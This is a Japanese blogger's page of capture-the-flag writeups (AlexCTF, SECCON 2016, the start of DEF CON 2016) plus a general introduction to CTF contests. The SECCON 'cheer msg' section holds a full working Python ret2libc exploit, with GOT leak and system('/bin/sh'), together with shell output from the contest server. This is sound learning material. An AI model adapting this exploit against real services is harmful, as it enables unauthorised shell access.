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AlexCTF writeup

AlexCTF writeup

いつものチームで参加.
結果は 105th, 1740pts で結構頑張った.
自分が解いた問題の writeup を書きます.

(追記)
暗号系をメインに問いてくれたメンバーの writeup をおいておきます. liniku.hatenablog.com

RE1: Gifted

思考停止して strings するだけだった.

$ strings gifted | grep AlexCTF
AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}

RE2: C++ is awesome

実行すると引数にフラグを与える様子.
何度か適当な文字列を入れて実行してみると,

$ ./re2 aaaa
Better luck next time
$ ./re2 ALEX
You should have the flag by now

どうやら,引数にとる文字列が途中まででも良いので正しければ出力が変わるっぽい.
ということなので以下みたいなクソみたいなスクリプトを書いて,1文字づつ確かめていった.

#!/bin/bash

for c in a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ { }; do
  echo -n "$c: "
  ./re2 $1$c
done

以下のように実行.フラグとして完成しても “L” がまだ出るのだけどどうもいらない模様だった.

$ ./re2.sh ALEXCTF{W3_L0v3_C_W1th_CL45535} | grep "You should"
L: You should have the flag by now

RE3: Catalyst system

とても時間がかかった….
ひとまず実行してみると “Loading…” みたいな感じで何もできない.
ひとまず objdump してみると sleep してたりするところがあって,
どうも rand した値によって再び sleep するかどうかを判定しているようだった.

  400e83:       e8 d8 f8 ff ff          call   400760 <sleep@plt>
  400e88:       bf 2e 00 00 00          mov    edi,0x2e
  400e8d:       e8 2e f8 ff ff          call   4006c0 <putchar@plt>
  400e92:       48 8b 05 2f 12 20 00    mov    rax,QWORD PTR [rip+0x20122f]        # 6020c8 <stdout>
  400e99:       48 89 c7                mov    rdi,rax
  400e9c:       e8 8f f8 ff ff          call   400730 <fflush@plt>
  400ea1:       83 45 fc 01             add    DWORD PTR [rbp-0x4],0x1
  400ea5:       83 7d fc 1d             cmp    DWORD PTR [rbp-0x4],0x1d
  400ea9:       7e bc                   jle    400e67 <rand@plt+0x6f7>

上記のような箇所が2箇所あるので以下のような感じで jle を潰した.

0x00000EAA 7E 90
0x00000EAB BC 90
0x00000F63 7E 90
0x00000F64 C2 90

これでようやく入力を受けつけるところにいける.
Username と Password を求められるので適当に実行してみるがよくわからず.
ひとまず Username を解析していくと…,

  400cdd:    55                       push   rbp
  400cde:    48 89 e5                 mov    rbp,rsp
  400ce1:    48 83 ec 30              sub    rsp,0x30
  400ce5:    48 89 7d d8              mov    QWORD PTR [rbp-0x28],rdi
  400ce9:    48 8b 45 d8              mov    rax,QWORD PTR [rbp-0x28]
  400ced:    48 89 45 f8              mov    QWORD PTR [rbp-0x8],rax
  400cf1:    48 8b 45 f8              mov    rax,QWORD PTR [rbp-0x8]
  400cf5:    8b 00                    mov    eax,DWORD PTR [rax]
  400cf7:    89 c0                    mov    eax,eax
  400cf9:    48 89 45 f0              mov    QWORD PTR [rbp-0x10],rax
  400cfd:    48 8b 45 f8              mov    rax,QWORD PTR [rbp-0x8]
  400d01:    48 83 c0 04              add    rax,0x4
  400d05:    8b 00                    mov    eax,DWORD PTR [rax]
  400d07:    89 c0                    mov    eax,eax
  400d09:    48 89 45 e8              mov    QWORD PTR [rbp-0x18],rax
  400d0d:    48 8b 45 f8              mov    rax,QWORD PTR [rbp-0x8]
  400d11:    48 83 c0 08              add    rax,0x8
  400d15:    8b 00                    mov    eax,DWORD PTR [rax]
  400d17:    89 c0                    mov    eax,eax
  400d19:    48 89 45 e0              mov    QWORD PTR [rbp-0x20],rax
  400d1d:    48 8b 45 f0              mov    rax,QWORD PTR [rbp-0x10]
  400d21:    48 2b 45 e8              sub    rax,QWORD PTR [rbp-0x18]
  400d25:    48 89 c2                 mov    rdx,rax
  400d28:    48 8b 45 e0              mov    rax,QWORD PTR [rbp-0x20]
  400d2c:    48 01 d0                 add    rax,rdx
  400d2f:    48 3d 56 4b 66 5c        cmp    rax,0x5c664b56
  400d35:    75 45                    jne    400d7c <rand@plt+0x60c>
  400d37:    48 8b 55 f0              mov    rdx,QWORD PTR [rbp-0x10]
  400d3b:    48 8b 45 e0              mov    rax,QWORD PTR [rbp-0x20]
  400d3f:    48 01 c2                 add    rdx,rax
  400d42:    48 89 d0                 mov    rax,rdx
  400d45:    48 01 c0                 add    rax,rax
  400d48:    48 01 c2                 add    rdx,rax
  400d4b:    48 8b 45 e8              mov    rax,QWORD PTR [rbp-0x18]
  400d4f:    48 01 c2                 add    rdx,rax
  400d52:    48 b8 b2 c7 00 e7 02     mov    rax,0x2e700c7b2
  400d59:    00 00 00
  400d5c:    48 39 c2                 cmp    rdx,rax
  400d5f:    75 1b                    jne    400d7c <rand@plt+0x60c>
  400d61:    48 8b 45 e8              mov    rax,QWORD PTR [rbp-0x18]
  400d65:    48 0f af 45 e0           imul   rax,QWORD PTR [rbp-0x20]
  400d6a:    48 89 c2                 mov    rdx,rax
  400d6d:    48 b8 14 d3 6a 9a 68     mov    rax,0x32ac30689a6ad314
  400d74:    30 ac 32
  400d77:    48 39 c2                 cmp    rdx,rax
  400d7a:    74 14                    je     400d90 <rand@plt+0x620>
  400d7c:    bf 69 10 40 00           mov    edi,0x401069
  400d81:    e8 4a f9 ff ff           call   4006d0 <puts@plt>
  400d86:    bf 00 00 00 00           mov    edi,0x0
  400d8b:    e8 c0 f9 ff ff           call   400750 <exit@plt>
  400d90:    90                       nop
  400d91:    c9                       leave
  400d92:    c3                       ret

こんな感じでやる気がなくなりそうになりながらも解析していく.
ユーザ名は12文字で,ひとまず XXXXYYYYZZZZ とすると,
rbp - 0x10 = "XXXX", rbp - 0x18 = "YYYY", rbp - 0x20 = "ZZZZ" で,
XXXX = X, YYYY = Y, ZZZZ = Z とおくと,上記の部分は以下の式を満たす X, Y, Z である必要がある.

X - Y + Z == 0x5c664b56
3X + Y + 3Z == 0x2e700c7b2
Y * Z == 0x32ac30689a6ad314

適当に計算すると,

X = 0x61746163 // cata
Y = 0x7473796c // lyst
Z = 0x6f65635f // _ceo

で username は catalyst_ceo であることがわかった.
次にパスワードを解析していく.パスワードは以下のようなコードで比較している.

  400a4c:       48 8b 45 e0             mov    rax,QWORD PTR [rbp-0x20]
  400a50:       8b 10                   mov    edx,DWORD PTR [rax]
  400a52:       48 8b 45 e0             mov    rax,QWORD PTR [rbp-0x20]
  400a56:       48 83 c0 04             add    rax,0x4
  400a5a:       8b 00                   mov    eax,DWORD PTR [rax]
  400a5c:       01 c2                   add    edx,eax
  400a5e:       48 8b 45 e0             mov    rax,QWORD PTR [rbp-0x20]
  400a62:       48 83 c0 08             add    rax,0x8
  400a66:       8b 00                   mov    eax,DWORD PTR [rax]
  400a68:       01 d0                   add    eax,edx
  400a6a:       89 c7                   mov    edi,eax
  400a6c:       e8 8f fc ff ff          call   400700 <srand@plt>
  400a71:       48 8b 45 d8             mov    rax,QWORD PTR [rbp-0x28]
  400a75:       8b 18                   mov    ebx,DWORD PTR [rax]
  400a77:       e8 f4 fc ff ff          call   400770 <rand@plt>
  400a7c:       29 c3                   sub    ebx,eax
  400a7e:       89 d8                   mov    eax,ebx
  400a80:       3d 2a 05 eb 55          cmp    eax,0x55eb052a
  400a85:       74 14                   je     400a9b <rand@plt+0x32b>
  400a87:       bf 69 10 40 00          mov    edi,0x401069
  400a8c:       e8 3f fc ff ff          call   4006d0 <puts@plt>
  400a91:       bf 00 00 00 00          mov    edi,0x0
  400a96:       e8 b5 fc ff ff          call   400750 <exit@plt>

srand に渡っているのは X + Y + Z とユーザ名を4文字づつに区切って足した結果だった.
これで常にシードは固定されているので rand の値は一意に定まる.
パスワードの4文字 - rand() = 0x55eb052a(ここの16進数は上記逆汗結果の後続にあと9個ある) で比較しているので,
パスワード4文字は 0x55eb052a - rand() で求まる.
ltrace とかすると rand によって吐かれた値はわかるので,あとは objdump の結果から計算していく.
最終的には, sLSVpQ4vK3cGWyW86AiZhggwLHBjmx9CRspVGggj というパスワードが得られる.
あとは,求めたユーザ名とパスワードを入力するとフラグに出る.

$ ./catalyst
 ▄▄▄▄▄▄▄▄▄▄▄  ▄            ▄▄▄▄▄▄▄▄▄▄▄  ▄       ▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░▌          ▐░░░░░░░░░░░▌▐░▌     ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌▐░▌          ▐░█▀▀▀▀▀▀▀▀▀  ▐░▌   ▐░▌ ▐░█▀▀▀▀▀▀▀▀▀  ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀
▐░▌       ▐░▌▐░▌          ▐░▌            ▐░▌ ▐░▌  ▐░▌               ▐░▌     ▐░▌
▐░█▄▄▄▄▄▄▄█░▌▐░▌          ▐░█▄▄▄▄▄▄▄▄▄    ▐░▐░▌   ▐░▌               ▐░▌     ▐░█▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░▌          ▐░░░░░░░░░░░▌    ▐░▌    ▐░▌               ▐░▌     ▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌▐░▌          ▐░█▀▀▀▀▀▀▀▀▀    ▐░▌░▌   ▐░▌               ▐░▌     ▐░█▀▀▀▀▀▀▀▀▀
▐░▌       ▐░▌▐░▌          ▐░▌            ▐░▌ ▐░▌  ▐░▌               ▐░▌     ▐░▌
▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄▄▄  ▐░▌   ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄      ▐░▌     ▐░▌
▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌     ▐░▌▐░░░░░░░░░░░▌     ▐░▌     ▐░▌
 ▀         ▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀       ▀  ▀▀▀▀▀▀▀▀▀▀▀       ▀       ▀
Welcome to Catalyst systems
Loading
Username: catalyst_ceo
Password: sLSVpQ4vK3cGWyW86AiZhggwLHBjmx9CRspVGggj
Logging in
your flag is: ALEXCTF{1_t41d_y0u_y0u_ar3__gr34t__reverser__s33}

RE4: unVM me

バイコンパイルされた python が与えられる.
uncompyle2 を使ってデコンパイルする.

$ uncompyle2 unvm_me.pyc
# 2017.02.06 19:16:30 JST
#Embedded file name: unvm_me.py
import md5
md5s = [174282896860968005525213562254350376167L,
 137092044126081477479435678296496849608L,
 126300127609096051658061491018211963916L,
 314989972419727999226545215739316729360L,
 256525866025901597224592941642385934114L,
 115141138810151571209618282728408211053L,
 8705973470942652577929336993839061582L,
 256697681645515528548061291580728800189L,
 39818552652170274340851144295913091599L,
 65313561977812018046200997898904313350L,
 230909080238053318105407334248228870753L,
 196125799557195268866757688147870815374L,
 74874145132345503095307276614727915885L]
print 'Can you turn me back to python ? ...'
flag = raw_input('well as you wish.. what is the flag: ')
if len(flag) > 69:
    print 'nice try'
    exit()
if len(flag) % 5 != 0:
    print 'nice try'
    exit()
for i in range(0, len(flag), 5):
    s = flag[i:i + 5]
    if int('0x' + md5.new(s).hexdigest(), 16) != md5s[i / 5]:
        print 'nice try'
        exit()

print 'Congratz now you have the flag'

どうやらフラグは65文字で5文字ずつ md5 と比較して一致するかどうかを判定している.
13個の md5 を16進数に変換して md5online に投げて結合した.

CR1: Ultracoded

ZERO と ONE が書かれたファイルが与えられる.
2進数かな?と重い ZERO = 0, ONE = 1 に置換する.
次に 8bit づつ区切って ASCII に変換すると以下のようになる.

Li0gLi0uLiAuIC0uLi0gLS4tLiAtIC4uLS4gLSAuLi4uIC4tLS0tIC4uLi4uIC0tLSAuLS0tLSAuLi4gLS0tIC4uLi4uIC4uLSAuLS0uIC4uLi0tIC4tLiAtLS0gLi4uLi4gLiAtLi0uIC4tLiAuLi4tLSAtIC0tLSAtIC0uLi0gLQ==

どうみても base64 なので decode すると,

$ echo "Li0gLi0uLiAuIC0uLi0gLS4tLiAtIC4uLS4gLSAuLi4uIC4tLS0tIC4uLi4uIC0tLSAuLS0tLSAuLi4gLS0tIC4uLi4uIC4uLSAuLS0uIC4uLi0tIC4tLiAtLS0gLi4uLi4gLiAtLi0uIC4tLiAuLi4tLSAtIC0tLSAtIC0uLi0gLQ==" | base64 -D
.- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -

モールス信号なので適当なサイトに投げてデコードすると,

ALEXCTFTH15O1SO5UP3RO5ECR3TOTXT

このままではフラグの形式じゃないので

ALEXCTF{TH15O1SO5UP3RO5ECR3TOTXT}

としてみるも駄目.O のところは普段 _ だよなぁ…とか思って置換したら正解だった.

Fore1: Hit the core

思考停止して strings してみると,

$ strings fore1.core
(snip)
cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}
(snip)

大文字だけみると ALEXCTF になっている.先頭の cvq を落として5文字ごとに読むとフラグになるのでは?
と思って適当なスクリプトで5文字ごと抜いてみるとフラグになった.

ALEXCTF{K33P_7H3_g00D_w0rk_up}

SC1: Math bot

nc すると計算式が与えられる.ひたすら解くゲーかと思って以下のような適当なスクリプトを書いて走らせた.

import sys
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('195.154.53.62', 1337))

msg = s.recv(1024).strip().split('\n')
s.send(str(eval(msg[22][:-2])) + '\n')

while True:
    msg = s.recv(1024).strip().split('\n')
    print msg
    s.send(str(eval(msg[1][:-2])) + '\n')

実行すると,

['Question  500 :', '29361097422042903253933445930908 * 312827792771128387861804825784952 =']
['Well no human got time to solve 500 ridiculous math challenges', 'Congrats MR bot!', 'Tell your human operator flag is: ALEXCTF{1_4M_l33t_b0t}']

な感じでフラグが取れた.

TR2: SSL 0day

騒ぎになった Heartbleed だった.

TR3: CA

見てみると Let’s encrypt だったので,何度か入力すると letsencrypt で正解だった.

CTF について

この記事は OIT Advent Calendar 2016 の 25 日目の記事です.
まさか空いているのが最終日しかなくてトリになるとは….

自己紹介

Twitteryuta1024 というアカウントでやっています.
OIT は 2008年入学・2012年卒業でその後は他大学院に進学したので,大学を離れてもう4年以上になります.
HxS コンピュータサークルに所属していて,サーバ管理者をやっていました.
今は,東京のとある企業で社内開発者向けのプラットフォーム開発・運用などを行っています.

大学の後輩である odan3240 君との繋がりで,初めて Advent Calendar を書くことになりました.

何を書こうかと最後まで悩んで,最終的には今自分がハマっている CTF についての紹介をしたいと思います.

CTF とは

CTF(Capture The Flag) とは,コンピュータセキュリティ技術を競うコンテストです.
CTF は大きく分けると, Attack & DefenceJeopardy と呼ばれる2つの種類があります.

Attack & Defence

Attack & Defence は,チームごとにサーバが与えられ,自分たちのサーバを守りながら,
相手のサーバの脆弱性をついて情報を奪ったり,ファイルを書き込んだりして点数を競います.
自分はこちらには参加したことがないので詳しくはないです….

Attack & Defence と少し似たものとしては Hardening というものがあります.
こちらも同様に,チームごとにサーバが与えられ,自分たちのサーバをひたすら守ります.
運営から8時間攻撃を受け続けながら,与えられたサービスを継続し続ける,というものです.
他チームに攻撃することはできず,ひたすら自分のチームのサーバを堅牢化(Hardening)します.
毎年2回沖縄で開催されているので,興味のある方は参加されてみてはどうでしょうか.
自分は,MINI Hardening と呼ばれる,1時間程度のまさしくミニなものに参加しました.
参加記録は以下の記事に書いたので興味のある方はご覧ください.
yuta1024.hateblo.jp

また,実は今年の夏に本家 Hardening にも応募し通ったので参加しました.
参加記録を書こうと思ったいたのですが,忙しく書く時間がないまま細かい記憶を失ってしまいました.
また,参加できたら今度こそ書きたい,と思っています.

Jeopardy

Jeopardy は,クイズ形式で問題が与えられその問題を解くとフラグを得ることができ,
回答サーバにそのフラグを送信すると点数を得れる,という形式です.
自分がよく参加しているのはこちらになります.
Online でよくコンテストが開催されているので参加しやすいという特徴もあります.

以下のサイトに今後のコンテストや過去のコンテストなどの情報がまとまっています.
ctftime.org

Jeopardy では,様々な問題がありジャンル分けされています.
代表的なジャンルについて簡単に私見を交えながら紹介したいと思います.
ジャンル内での代表的な問題を取り上げているので,同じジャンルでも少し異なる問題もあります.

Web

取っ付き易い反面,取っ掛かりがさっぱりわからなくて解けないことも多いジャンル.
XSSSQL Injection などが題材になることも多いです.
有名どころの脆弱性なども出題されることがあるので,
世の中のトレンド?的なものを日々収集しているととっかかりになることもあります.

Forensics

画像やディスクイメージなどに隠されたフラグを見つける問題です.
最近は Network もこのジャンルに吸収されつつある?ような感じで,
pcap などを解析もこのジャンルに含まれることがあります.

Crypto

暗号系の問題が出題され,復号することでフラグを得ます.
数学的知識なども必要でなかなか難しいジャンルです.

Reversing

WindowsLinux の実行ファイルを解析し,内部に隠されたフラグを取得するという問題です.
バイナリ力が必要となります. Web などに比べると取っ付きにくい印象があります.

Pwn

Reversing と似ていて実行ファイルを解析するのですが,その実行ファイルは運営側のサーバで起動しています.
そのため解析しバッファオーバーフローなどの脆弱性を見つけた後に,
exploit code を書きサーバに侵入することでフラグを得ることができます.
Reversing 同様,取っ付きにくい問題ですが,最近は pwn の問題が多いコンテストが多い印象を受けます.

コンテスト

初めてだとどのコンテストに参加して良いかわからない,ということも多いと思います.
が,自分もよくわかっていません.
とはいえ有名どころなどもあるのでそういったコンテストを紹介します.

DEF CON CTF

DEF CON と呼ばれるセキュリティカンファレンスにて毎年開催されるイベントの一つです.
予選は Online なので誰でも参加可能です.
しかし,最近の予選問題は Pwn まみれで binary con とか言われていたりします.
今年の予選の writeup を書いているので興味のある方はご覧ください.
yuta1024.hateblo.jp

SECCON CTF

国内で開催されているセキュリティコンテストです.予選は Online で誰でも参加可能です.
決勝はオンサイトで行われており競技内容は Attack & Defence なようです.
DEF CON CTF 同様に今年の予選の writeup を書いているので興味のある方はご覧ください.
yuta1024.hateblo.jp

CSAW CTF

難易度的にもほどほど(難しい問題は難しいですが)で比較的参加しやすい CTF だと思います.
毎年出ようと思って出れていない気がするのはなんでだろう….

Google CTF

Google 主催の CTF で今年から始まりました.来年があるかはわかりません.
内容は Android や Go など Google が開発したものが題材になっているものが多かったです.
こちらも参加した writeup を書いているので興味のある方はご覧ください.
yuta1024.hateblo.jp

IceCTF

個人的には難易度もほどほどで参加しやすかったような記憶があるコンテスト.
問題のジャンルも広くて,初めてでも手が出る問題も多いかも.

おわりに

さて,今回は CTF について紹介してみました.
うまく紹介できた気はまったくしませんが,これを機に興味を持たれた方は是非参加してみてください.
CTF の魅力はたくさんあると思いますが,自分が思う魅力は様々なことを問題を解きながら学ぶことができるというところです.
まだまだ自分も勉強が足りないので,来年も頑張っていきたいと思っています.

それでは皆様,メリークリスマス!そして,良いお年を.

SECCON 2016 Online writeup

SECCON 2016 Online writeup

yharima チームで参加.結果は 500 pts 145 th でした.
今回はとても難しかった….まだまだ力不足を実感しました.頑張らなければ.
自分は2問 + 1問は手伝いという感じでした.

その手伝ったりしたメンバーのブログもおいておきます.
SECCON 2016 Online CTF Writeup | にろきのメモ帳

Vigenere

ヴィジュネル暗号で暗号化された文章を復号する問題.
key の長さと plain の一部および cipher のすべて,そして md5(plain) が与えられる.
ひとまずヴィジュネル暗号を Wikipedia で学習したあと復号していく.
SECCON{ までは plain が分かっているので key の先頭7文字がわかる.
あと md5(plain) が与えられているので残り key の末尾5文字を総当りで調べて md5 が一致するようにすれば良い.
最初は適当に手を抜いてコマンドの md5 を shell 経由で叩いていたけどおそすぎたので,
cpp で書き直した. md5 自体は適当にググってもってきたライブラリを使った.
クソみたいなコードは以下.

#include <iostream>
#include <string>
#include <vector>
#include "md5.h"
using namespace std;

int c2i(char c) {
    if (c == '{') {
        return 26;
    }
    if (c == '}') {
        return 27;
    }
    return c - 'A';
}

char i2c(int n) {
    if (n == 26) {
        return '{';
    }
    if (n == 27) {
        return '}';
    }
    return 'A' + n;
}

void solve(string& key, string& cipher, const vector<string>& v) {
    string plain(cipher.size(), '?');
    for (unsigned int i = 0; i < cipher.size(); ++i) {
        const int kk = i % key.size();
        if (key[kk] == '?') {
            continue;
        }

        const int y = c2i(key[kk]);
        for (int j = 0; j < v[y].size(); ++j) {
            if (v[y][j] == cipher[i]) {
                plain[i] = i2c(j);
                break;
            }
        }
    }

    if (md5(plain) == "f528a6ab914c1ecf856a1d93103948fe") {
        cout << plain << endl;
    }
}


int main() {
    string key = "VIGENER";
    string cipher = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ";

    vector<string> v;
    v.push_back("ABCDEFGHIJKLMNOPQRSTUVWXYZ{}");
    v.push_back("BCDEFGHIJKLMNOPQRSTUVWXYZ{}A");
    v.push_back("CDEFGHIJKLMNOPQRSTUVWXYZ{}AB");
    v.push_back("DEFGHIJKLMNOPQRSTUVWXYZ{}ABC");
    v.push_back("EFGHIJKLMNOPQRSTUVWXYZ{}ABCD");
    v.push_back("FGHIJKLMNOPQRSTUVWXYZ{}ABCDE");
    v.push_back("GHIJKLMNOPQRSTUVWXYZ{}ABCDEF");
    v.push_back("HIJKLMNOPQRSTUVWXYZ{}ABCDEFG");
    v.push_back("IJKLMNOPQRSTUVWXYZ{}ABCDEFGH");
    v.push_back("JKLMNOPQRSTUVWXYZ{}ABCDEFGHI");
    v.push_back("KLMNOPQRSTUVWXYZ{}ABCDEFGHIJ");
    v.push_back("LMNOPQRSTUVWXYZ{}ABCDEFGHIJK");
    v.push_back("MNOPQRSTUVWXYZ{}ABCDEFGHIJKL");
    v.push_back("NOPQRSTUVWXYZ{}ABCDEFGHIJKLM");
    v.push_back("OPQRSTUVWXYZ{}ABCDEFGHIJKLMN");
    v.push_back("PQRSTUVWXYZ{}ABCDEFGHIJKLMNO");
    v.push_back("QRSTUVWXYZ{}ABCDEFGHIJKLMNOP");
    v.push_back("RSTUVWXYZ{}ABCDEFGHIJKLMNOPQ");
    v.push_back("STUVWXYZ{}ABCDEFGHIJKLMNOPQR");
    v.push_back("TUVWXYZ{}ABCDEFGHIJKLMNOPQRS");
    v.push_back("UVWXYZ{}ABCDEFGHIJKLMNOPQRST");
    v.push_back("VWXYZ{}ABCDEFGHIJKLMNOPQRSTU");
    v.push_back("WXYZ{}ABCDEFGHIJKLMNOPQRSTUV");
    v.push_back("XYZ{}ABCDEFGHIJKLMNOPQRSTUVW");
    v.push_back("YZ{}ABCDEFGHIJKLMNOPQRSTUVWX");
    v.push_back("Z{}ABCDEFGHIJKLMNOPQRSTUVWXY");
    v.push_back("{}ABCDEFGHIJKLMNOPQRSTUVWXYZ");
    v.push_back("}ABCDEFGHIJKLMNOPQRSTUVWXYZ{");

    for (int i = 0; i < v[0].size(); ++i) {
        for (int j = 0; j < v[0].size(); ++j) {
            for (int k = 0; k < v[0].size(); ++k) {
                for (int l = 0; l < v[0].size(); ++l) {
                    for (int m = 0; m < v[0].size(); ++m) {
                        string a = key + v[0][i] + v[0][j] + v[0][k] + v[0][l] + v[0][m];
                        solve(a, cipher, v);
                    }
                }
            }
        }
    }
    return 0;
}

cheer msg

objdump したり gdb で動かしたり,チームメンバーと相談したりと色々調べていると,
どうやら最初の Message Length に負数を入れると esp を操作することができ,
message 関数内に入った後の入力で main 関数からの戻りアドレスを任意のものに書き換えれることが判明.
しかも, main 関数には stack_chk_fail がないのでそのまま ROP につなげることができる. ここまでわかれば,1回目はスタックを以下のように積んで got を leak させる.

------------------------
printf@plt のアドレス
------------------------
main 関数のアドレス
------------------------
書式指定文字列(今回は `Message : %s` の一部を利用)
------------------------
setbuf@plt が指している GOT アドレス
------------------------

ここで leak した GOT のアドレスから libc の base アドレスがわかるので,
問題で配布されている libc から以下のように setbuf, system, /bin/sh のアドレスを得る.

yuta1024@yharima:~$ strings -a -tx libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep "sh$"
   e45b inet6_opt_finish
   f397 _IO_wdefault_finish
   f97b _IO_fflush
  117fe _IO_file_finish
  11cf9 bdflush
  1214b tcflush
  123fd _IO_default_finish
 15df25 Trailing backslash
 15e3f8 sys/net/ash
 16084c /bin/sh
 1627b0 /bin/csh
 1ab831 .gnu.hash

yuta1024@yharima:~$ nm -D libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep system
00040310 T __libc_system
001193c0 T svcerr_systemerr
00040310 W system

yuta1024@yharima:~$ nm -D libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep setbuf
0006de50 T _IO_file_setbuf
001278a0 T _IO_file_setbuf
00065d80 T _IO_setbuffer
00067b20 T setbuf
00065d80 W setbuffer

libc の base アドレスは, leak した setbuf の GOT - 0x00067b20 で求まるので,
求めた libc の base アドレスにそれぞれ上記で得たアドレスを加算してあげればそれぞれのアドレスが求まる.
あとは, leak 後に再度実行するようにした main 関数で同様にスタックを以下のように積んでシェルを起動する.

------------------------
system 関数のアドレス
------------------------
AAAA(なんでも良い)
------------------------
/bin/sh
------------------------

あとは python のコードに書き下せば良い.
とても馬鹿なことに libc が配布されているのに libcdb で検索したアドレスを使ったせいで,
1時間くらいシェルがあがらねー,とかいうことを言っていた.反省.

$ python cheer.py
setbuf: 0xf759db20
libc_base: 0xf7536000
system_got: 0xf7576310
binsh_addr: 0xf769684c
[*] send -112
[*] recv
[*] send exploit code
[*] recv

Thank you BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBcW�AAAALhi�!
Message :

===== get shell!!!! =====
ls -l
total 16
-rwxr-xr-x 1 root cheer_msg 7701 Dec  3 17:06 cheer_msg
-rw-r--r-- 1 root cheer_msg   25 Dec  5 00:01 flag.txt
-rwxr-xr-x 1 root cheer_msg   34 Dec  4 23:20 run.sh
cat flag.txt
SECCON{N40.T_15_ju571c3}

書いたクソみたいなコードは以下.

import sys

import socket
import struct
import telnetlib

def p(p):
  return struct.pack('<I', p)

def u(p):
  return struct.unpack('<I', p)[0]

def interact(s):
  print "===== get shell!!!! ====="
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('cheermsg.pwn.seccon.jp', 30527))

msg = s.recv(1024)
s.send("-112\n");
msg =  s.recv(1024)

buf = 'A' * 32
buf += p(0x08048430)
buf += p(0x080485ca)
buf += p(0x08048890)
buf += p(0x0804a00c)

s.send(buf + "\n")

msg = s.recv(1024)
msg = s.recv(1024)

setbuf_got = u(msg[78:82])
libc_base = setbuf_got - 0x00067b20
system_got = libc_base + 0x00040310
binsh_addr = libc_base + 0x0016084c

print 'setbuf: 0x%x' % setbuf_got
print 'libc_base: 0x%x' % libc_base
print 'system_got: 0x%x' % system_got
print 'binsh_addr: 0x%x' % binsh_addr


print '[*] send -112'
s.send("-112\n");

print '[*] recv'
s.recv(1024)
s.recv(1024)

print '[*] send exploit code'
buf = 'B' * 32
buf += p(system_got)
buf += 'AAAA'
buf += p(binsh_addr)
s.send(buf + "\n")

print '[*] recv'
print s.recv(1024)

interact(s)

DEF CON CTF 2016 writeup

DEF CON CTF 2016 writeup

去年は 0 完を達成した DEF CON.
今年は 1 完以上を目指してなんとか達成できたので,writeup を書くことにする.

xkcd

64 bit バイナリ.おととし話題になった openssl の Heartbleed が元ネタっぽいらしい.
なんか 4 コマ的なものがチームのチャットに貼られてた.
xkcd: Heartbleed Explanation

とりあえずローカルで動かしてみる.

$ ./xkcd
Could not open the flag.

どうやらフラグファイルがないと起動できらしい.
strace を使ってシステムコールをみてみる.

$ strace ./xkcd
execve("./xkcd", ["./xkcd"], [/* 24 vars */]) = 0
uname({sys="Linux", node="centos6-x86_64.lab.yharima.club", ...}) = 0
brk(0)                                  = 0x1cc8000
brk(0x1cc91c0)                          = 0x1cc91c0
arch_prctl(ARCH_SET_FS, 0x1cc8880)      = 0
readlink("/proc/self/exe", "/home/yuta1024/DEFCON/xkcd", 4096) = 26
brk(0x1cea1c0)                          = 0x1cea1c0
brk(0x1ceb000)                          = 0x1ceb000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("flag", O_RDONLY)                  = -1 ENOENT (No such file or directory)
write(1, "Could not open the flag.", 24Could not open the flag.) = 24
write(1, "\n", 1
)                       = 1
exit_group(-1)                          = ?
+++ exited with 255 +++

flag ファイルがあれば良いらしいのでとりあえず適当に yharima とか書いて置いておく.
もう一度起動してみる.

$ ./xkcd
A
MALFORMED REQUEST

適当に A と入力するとリクエストが正しくないらしい.
ここまでくるとどうしようもないので gdb で動かしながらどのような入力を取ればいいかを追っていく.

   0x0000000000400fb9 <+91>:   mov    esi,0x487de4
   0x0000000000400fbe <+96>:  mov    edi,0x487de6
   0x0000000000400fc3 <+101>: call   0x407d80 <fopen64>
   0x0000000000400fc8 <+106>: mov    QWORD PTR [rbp-0x18],rax
   0x0000000000400fcc <+110>: cmp    QWORD PTR [rbp-0x18],0x0
   0x0000000000400fd1 <+115>: jne    0x400fe7 <main+137>
   0x0000000000400fd3 <+117>: mov    edi,0x487deb
   0x0000000000400fd8 <+122>: call   0x408260 <puts>
   0x0000000000400fdd <+127>: mov    eax,0xffffffff
   0x0000000000400fe2 <+132>: jmp    0x401177 <main+537>
   0x0000000000400fe7 <+137>: mov    rax,QWORD PTR [rbp-0x18]
   0x0000000000400feb <+141>: mov    rcx,rax
   0x0000000000400fee <+144>: mov    edx,0x100
   0x0000000000400ff3 <+149>: mov    esi,0x1
   0x0000000000400ff8 <+154>: mov    edi,0x6b7540
   0x0000000000400ffd <+159>: call   0x407d90 <fread>

flag を open している部分.
